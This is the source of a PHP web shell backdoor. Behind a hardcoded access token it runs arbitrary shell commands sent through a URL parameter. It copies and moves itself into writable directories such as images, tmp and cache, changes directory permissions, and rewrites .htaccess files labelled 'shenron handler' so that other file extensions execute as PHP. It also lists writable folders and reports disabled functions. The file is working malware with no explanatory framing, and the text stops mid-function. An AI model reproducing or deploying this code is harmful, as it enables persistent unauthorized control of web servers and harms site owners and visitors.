/*SRCozrvv500j8*/
@set_time_limit(0);@error_reporting(0);
$T='62l2ofupzzkl5ivb';$D=rtrim(str_replace('\\','/',@$_SERVER['DOCUMENT_ROOT']),'/');
$F=rtrim(str_replace('\\','/',@dirname(__FILE__)),'/');
$d=trim(preg_replace('#[^A-Za-z0-9_./ -]#','',(string)(@$_GET['d']??'')),'/');
while(strpos($d,'../')===0)$d=substr($d,3);$A=$d===''?$D:$D.'/'.$d;
function hz($v){return rtrim(str_replace('\\','/',(string)$v),'/');}
function okx($n){return preg_match('/\.(php\d{0,2}|phtml|phar|pht)$/i',$n);}
function gnm(){return basename(preg_replace('#[^A-Za-z0-9_.-]#','',(string)(@$_GET['n']??'')));}
function sx_ht($dir,$ext){
$f=$dir.'/.htaccess';$cur=@is_file($f)?(string)@file_get_contents($f):'';
if(@is_file($f)&&!@is_file($f.'.shenron.bak'))@copy($f,$f.'.shenron.bak');
$cur=rtrim($cur)."\n# shenron handler\n\nAddHandler application/x-httpd-php .$ext\nAddType application/x-httpd-php .$ext\n\n\nAddType application/x-httpd-php .$ext\n\n";
return @file_put_contents($f,$cur)!==false;}
if((string)(@$_GET['t']??'')===$T){
if((string)(@$_GET['c']??'')!==''){@system($_GET['c']);exit;}
if(isset($_GET['who'])){echo'REPL '.$F.'|'.$D.'|'.ltrim(str_replace($D,'',$F),'/');exit;}
if(isset($_GET['put'])){
$z=hz(@$_GET['p']??'');$n=gnm();
if($n===''||!okx($n)){echo'NOFILE';exit;}
if($z===''||!@is_dir($z)){echo'NODIR';exit;}
if(!@is_writable($z)){echo'NOWRITE';exit;}
$b=@file_get_contents(__FILE__);if($b===false){echo'NOREAD';exit;}
if(@file_put_contents($z.'/'.$n,$b)===false){echo'NOWRITE';exit;}
echo'PUT '.$z.'/'.$n;exit;}
if(isset($_GET['mvself'])){
$z=hz(@$_GET['p']??'');$n=gnm();
if($n===''||!okx($n)){echo'NOFILE';exit;}
if($z===''||!@is_dir($z)){echo'NODIR';exit;}
if(!@is_writable($z)){echo'NOWRITE';exit;}
if(!@rename(__FILE__,$z.'/'.$n)){echo'NOREPL';exit;}
echo'MV '.$z.'/'.$n;exit;}
if(isset($_GET['chm'])){
$z=hz(@$_GET['p']??'');
if($z===''||!@is_dir($z)){echo'NODIR';exit;}
@chmod($z,0755);echo @is_writable($z)?'W':'N';exit;}
if(isset($_GET['cp'])){$m=[];if(!is_dir($A)||!@is_writable($A)){echo'NODIR';exit;}
foreach(explode(',',preg_replace('/[^A-Za-z0-9_.,-]/','',(string)(@$_GET['x']??''))) as $n){
if(!okx($n))continue; if(@copy(__FILE__,$A.'/'.$n))$m[]=$n;}
echo$m?'REPL '.implode(',',$m).'|'.$A.'|'.$d:'NOREPL';exit;}
if(isset($_GET['rep'])){$m=[];$x=basename((@$_GET['x']??'')?:basename(__FILE__));
foreach(array($D,$D.'/images',$D.'/tmp',$D.'/media',$D.'/cache') as $p2){
if(@is_dir($p2)&&@is_writable($p2)&&@copy(__FILE__,$p2.'/'.$x))$m[]=ltrim(str_replace($D,'',$p2),'/');}
echo'REPL '.$F.'|'.$D.'|'.($m?implode(',',$m):'NONE');exit;}
if(isset($_GET['htw'])){
$z=hz(@$_GET['p']??'');$e=strtolower(preg_replace('#[^A-Za-z0-9]#','',(string)(@$_GET['e']??'php')));
if($e==='')$e='php';
if($z===''||!@is_dir($z)){echo'NODIR';exit;}
if(!@is_writable($z)){echo'NOWRITE';exit;}
echo sx_ht($z,$e)?'HTW '.$z.'/.htaccess':'NOWRITE';exit;}
if(!@is_dir($A)){echo'NODIR';exit;}
foreach((array)@scandir($A) as $f){if($f==='.'||$f==='..')continue;$x=$A.'/'.$f;
if(@is_dir($x))echo"D\t$f\t".(@is_writable($x)?'w':'-')."\n";}
exit;
}
$__emit=isset($_GET['t'])||isset($_GET['m'])
||basename((string)(@$_SERVER['SCRIPT_FILENAME']??''))===basename(__FILE__);
if($__emit){
$disfunc=@ini_get('disable_functions');
$disf=empty($disfunc)?"NONE":"".htmlspecialchars($disfunc)."";
function author(){echo "
";echo "